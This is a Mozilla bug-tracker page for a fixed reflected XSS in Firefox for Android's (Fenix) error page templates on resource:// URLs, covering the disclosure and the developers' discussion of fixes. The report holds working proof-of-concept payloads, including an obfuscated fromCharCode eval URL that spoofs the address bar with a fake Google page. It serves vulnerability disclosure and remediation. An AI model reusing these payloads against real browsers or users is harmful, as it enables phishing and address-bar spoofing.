Closed Bug 1659035 (CVE-2021-23959) Opened 4 years ago Closed 3 years ago

Reflected XSS on resource:// by accessing error page templates in Fenix directly

Categories

(Fenix :: General, task)

Unspecified
Android

Tracking

(firefox84 wontfix, firefox85 fixed, firefox86 fixed)

RESOLVED FIXED
Tracking Status
firefox84 --- wontfix
firefox85 --- fixed
firefox86 --- fixed

People

(Reporter: sdna.muneaki.nishimura, Assigned: csadilek)

References

Details

(Keywords: sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main85+])

Attachments

(2 files, 2 obsolete files)

Bug 1657055 was fixed by escaping untrusted data in Kotlin-side code (below).
https://bugzilla.mozilla.org/attachment.cgi?id=9168100&action=diff

But raw innerHTMLs in the collesponding JavaScript-side code were kept remained (below).
https://github.com/mozilla-mobile/android-components/blob/d62f28374d7daf69991474a8f784c7cf8d556fce/components/browser/errorpages/src/main/assets/errorPageScripts.js#L23

These innerHTMLs can still be used for XSS on resource: origin by loading templates directly (like below).
resource://android/assets/high_risk_error_pages.html?&title=<s>XSS
resource://android/assets/low_and_medium_risk_error_pages.html?&title=<s>XSS

Fenix can open resource: URLs shared from other apps through an intent (such as SEND intent).
Also, JavaScript code running on resource: can read/write error-pages shown in other window.

This means that Attacker can show fake error pages to Victim by sharing malicious resource:// link from other apps such as SNS/SMS.
Then Fenix shows modified error page but the address bar shows an original http(s):// URL that made the error.

Following URL is demonstration of address bar spoofing attack by using above technique.
See also attached animation GIF.

resource://android/assets/high_risk_error_pages.html?&title=%3Cimg%20src%3D%22%22%20onerror%3D%22eval(String.fromCharCode(100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C98%2C111%2C100%2C121%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C61%2C96%2C60%2C98%2C117%2C116%2C116%2C111%2C110%2C32%2C111%2C110%2C99%2C108%2C105%2C99%2C107%2C61%2C34%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C98%2C61%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C111%2C112%2C101%2C110%2C40%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C110%2C111%2C110%2C45%2C101%2C120%2C105%2C115%2C116%2C101%2C110%2C116%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C46%2C99%2C111%2C109%2C47%2C39%2C41%2C59%2C115%2C101%2C116%2C84%2C105%2C109%2C101%2C111%2C117%2C116%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C123%2C98%2C46%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C98%2C111%2C100%2C121%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C61%2C39%2C60%2C104%2C49%2C62%2C72%2C101%2C108%2C108%2C111%2C32%2C102%2C114%2C111%2C109%2C32%2C70%2C97%2C107%2C101%2C32%2C71%2C111%2C111%2C103%2C108%2C101%2C60%2C47%2C104%2C49%2C62%2C39%2C125%2C44%2C50%2C48%2C48%2C48%2C41%2C34%2C62%2C65%2C100%2C100%2C114%2C101%2C115%2C115%2C32%2C66%2C97%2C114%2C32%2C83%2C112%2C111%2C111%2C102%2C105%2C110%2C103%2C60%2C47%2C98%2C117%2C116%2C116%2C111%2C110%2C62%2C96))%22%3E

Steps to reproduce:

  1. Open the above resource: link in Fenix
  2. Following <button> tag is shown in high_risk_error_pages.html template by XSS
<button onclick="window.b=window.open('https://non-existent.google.com/');setTimeout(function(){b.document.body.innerHTML='<h1>Hello from Fake Google</h1>'},2000)">Address Bar Spoofing</button>
  1. Taps the button, then https://non-existent.google.com is opened in new window
  2. Fenix shows Address Not Found error page on the window because accessed domain is non-existent
  3. Parent XSSed resource: page still have the access to the error page at 4), and page is manipulated.
  4. Address bar in the child window still shows https://non-existent.google.com
Flags: sec-bounty?
Group: firefox-core-security → mobile-core-security
Component: Security → Security: Android
Product: Firefox → Fenix

Hey Muneaki. Thanks for retesting!
Generally, when you know you're going to test our patches (e.g., in Bug 1657055), it would be very much preferred if you got directly involved during patch development. We usually consider this as a contributing factor for considering the report as a high quality report (cf. https://www.mozilla.org/en-US/security/client-bug-bounty/) ;-)

(In reply to Frederik Braun [:freddy] from comment #1)

Generally, when you know you're going to test our patches (e.g., in Bug 1657055), it would be very much preferred if you got directly involved during patch development. We usually consider this as a contributing factor for considering the report as a high quality report (cf. https://www.mozilla.org/en-US/security/client-bug-bounty/) ;-)

I'm sorry Frederik. I found this attack scenario today, so I couldn't make it during patch development.
I will do that next time as far as possible.

Please don't get me wrong. No need to apologize. We're very, very appreciative of your work here! :-)

Blocks: 1658276

In addition to the above, the following URL also has the same issue.
resource://android/assets/error_page_js.html?title=title&description=%27%22%3E%3Cs%3Edescription

The injection point is below.
https://github.com/mozilla-mobile/android-components/blob/48c1b1de3186d2e2437d7f2e72f5ef1097cc5174/components/browser/errorpages/src/main/assets/error_page_js.html#L28

See Also: → 1660701
See Also: → 1660704

Chenxia would you find a owner for this?

Flags: needinfo?(liuche)
Flags: needinfo?(liucheia+bugzilla) → needinfo?(sarentz)
Flags: sec-bounty? → sec-bounty+
Flags: needinfo?(sarentz)
Flags: needinfo?(petru.lingurar)

It did not.
But just yesterday csadilek merged https://github.com/mozilla-mobile/android-components/pull/9349 based on which resource URIs will not be loaded anymore.
So I think this can be closed now.

Flags: needinfo?(petru.lingurar)
Assignee: nobody → csadilek
Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED

Please uplift this to the AC70 branch when you're comfortable doing so.

Flags: needinfo?(csadilek)
Flags: needinfo?(csadilek)
Group: mobile-core-security → core-security-release

The JS source code introduced in https://github.com/mozilla-mobile/fenix/pull/16834, specifically the code in highRiskErrorPages.js and lowMediumErrorPages.js allow for an easy XSS if the URL query parameters can be user-controlled.

Even if the about-pages that are used to load these JavaScript files are not susceptible to loads with user-controlled parameters, I am assuming the JS files are made available under an internal scheme (which is it? resource://?), they can be misused in other contexts:

As a stepping stone to bypass a CSP that is supposd to secure web-hosted content or as a bypass for the CSP of our internal pages (e.g., CVE-2018-5175)

If possible, we should get rid of innerHTML and go back to string interpolation or we will need to pull in an HTML Sanitizer (privileged JavaScript can use sanitize of the nsIParserUtils interface).

Addind csadilek to this discussion ^^.
I don't know how an attacker could modify the js files or somehow direct the app to misuse them.

I am assuming the JS files are made available under an internal scheme (which is it? resource://?)

The .js files are in the same place as the .html files.
These files could have been accessed in the browser, in read-only mode but not anymore following https://github.com/mozilla-mobile/fenix/pull/16834.

Flags: needinfo?(csadilek)

I assume the page and the JS file are loaded/reached through an internal URLs (let's use about:neterror and resource://foo.js as example values). I think my comment boils down to a couple of questions:

  1. Do we have a mechanism in place to prevent random websites from opening these error pages with a pop-up, iframe, redirect etc.?

Desktop Firefox doesn't allow redirects to pages like about:neterror. Though you could of course redirect to "example.foo" and then show the error page for that name. That's not an issue, as long as the hostname "example.foo" does and can not contain HTML :-))

  1. Do we have a mechanism in place to prevent websites from loading the JavaScript files used within error pages (e.g., the highRiskErrorPages.js) with a script element?

On Firefox Desktop, we used to have issues with CSP not being properly enforced for web pages that load scripts coming from a resource:// URL.
I think we could be dealing with a different bug (of much lower severity) that endangers unrelated websites which intend to protect themselves with a CSP that is bypassed to buggy JS made available from inside the browser.

Hope that helps

(In reply to Frederik Braun [:freddy] from comment #14)
Thank you!
These are interesting scenarios. I'm afraid I can't do more than help testing. Hoping @csadilek knows better what's happening at lower levels.

  1. Do we have a mechanism in place to prevent random websites from opening these error pages with a pop-up, iframe, redirect etc.?

If GeckoView fails to load an URI we get a onLoadError call with the uri and error.
We then evaluate the error depending on which we might return a resource://errorPageHtml URI that is then loaded by GeckoView.
I would've said that this would allow a website to load an error page in an iframe but I see the iframe able to load an error page in Firefox desktop while not in Fenix. This might need more investigations but maybe there is already a topLevel check or something similar.
(I tested with a simple <iframe src="https://expired.badssl.com/" width="710" height="1080">)

 

  1. Do we have a mechanism in place to prevent websites from loading the JavaScript files used within error pages (e.g., the highRiskErrorPages.js) with a script element?

Tried testing this with a simple jsfiddle and I'm seeing in console
Security Error: Content at https://fiddle.jshell.net/dp6zcy72/show/light/ may not load or link to resource://android/assets/lowMediumErrorPages.js.
<script> source URI is not allowed in this document: “resource://android/assets/lowMediumErrorPages.js”.
I'm not sure where these messages are coming and based on what checks, they're probably a low lower than the app, maybe Christian would know more about these.
But even in the case that a different website loads our .js I'm not sure it could do anything with it. There is no state, no outside communication.

OK, I think this should be mitigated by the resource: URLs not being easily loaded from content and other evil apps and the documents having a reasonable CSP.
Would still be reasonable if we could shy away from using innerHTML and use proper templating instead.

I've created https://github.com/mozilla-mobile/fenix/issues/17414 on Fenix.
Not sure about the priority of this though. I understand this being more of a "eng-health" type of issue but I think the needed changes will be pretty big.

thanks!

Thanks Frederik and Petru. For 1684761 we stopped allowing loads of resource://, content:// and even file:// via the app and also via external intents. For this we also verified that GV won't allow loading resource:// from content (see Security error above). So, the two cases above should be handled, afaik.

Flags: needinfo?(csadilek)
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage]
Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main85+r]
Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main85+r] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main85+]
Attached file advisory.txt (obsolete) —
Attached file advisory.txt (obsolete) —
Attachment #9198104 - Attachment is obsolete: true
Attached file advisory.txt
Attachment #9198122 - Attachment is obsolete: true
Alias: CVE-2021-23959
Group: core-security-release
Component: Security: Android → General
OS: Unspecified → Android
See Also: → 1810665
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: